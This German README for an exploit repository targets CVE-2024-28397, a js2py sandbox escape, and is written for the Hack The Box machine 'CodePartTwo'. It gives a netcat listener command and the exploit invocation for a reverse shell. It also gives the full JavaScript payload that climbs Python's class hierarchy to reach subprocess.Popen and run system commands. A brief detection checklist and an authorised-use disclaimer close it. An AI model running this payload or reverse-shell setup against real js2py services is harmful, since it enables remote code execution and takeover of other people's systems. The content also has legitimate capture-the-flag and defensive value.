
Dieses Repository enthält einen Python-Exploit-Code für CVE-2024-28397, der für die Verwendung auf der Maschine "CodePartTwo" auf Hack The Box (HTB) vorgesehen ist.
Ein Python-Exploit-Code für CVE-2024-28397, eine kritische Sicherheitslücke in js2py <= 0.74, die Sandbox-Escape und Remote Code Execution ermöglicht.
js2py ist eine beliebte Python-Bibliothek zur Ausführung von JavaScript-Code in Python-Umgebungen. Diese Schwachstelle ermöglicht es Angreifern, die js2py-Sandbox-Umgebung zu verlassen und beliebige Python-/Systembefehle auszuführen – selbst wenn js2py.disable_pyimport() aktiviert ist.
Der Exploit nutzt die Objekt-Introspection-Fähigkeiten von Python über JavaScript aus, um auf die subprocess.Popen-Klasse zuzugreifen und Systembefehle auszuführen.
pip install requests
# Netcat-Listener starten
nc -lnvp 4444
# Exploit ausführen
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target Ziel-URL-Endpunkt (erforderlich)
--lhost Lokale IP für Reverse Shell (erforderlich)
--lport Lokaler Port für Reverse Shell (Standard: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ und __base__ auf die Python-Objekt-Hierarchie zuzugreifensubprocess.Popen durch IntrospectionDer Exploit funktioniert wie folgt:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__()subprocess.Popen-Klasse// Auf Python-Objekt-Hierarchie zugreifen
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// subprocess.Popen-Klasse finden
function findpopen(o) {
// Rekursive Suche durch Unterklassen
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Befehl ausführen
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Achten Sie auf JavaScript-Code, der Folgendes enthält:
__class__ oder ___class_____subclasses__()subprocess oder Popenprintf und base64 -dDieses Tool ist nur für autorisierte Penetrationstests und Bildungszwecke bestimmt. Die Nutzer sind für die Einhaltung der geltenden Gesetze und Vorschriften verantwortlich. Unbefugter Zugriff auf Computersysteme ist illegal.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die LICENSE-Datei für Details.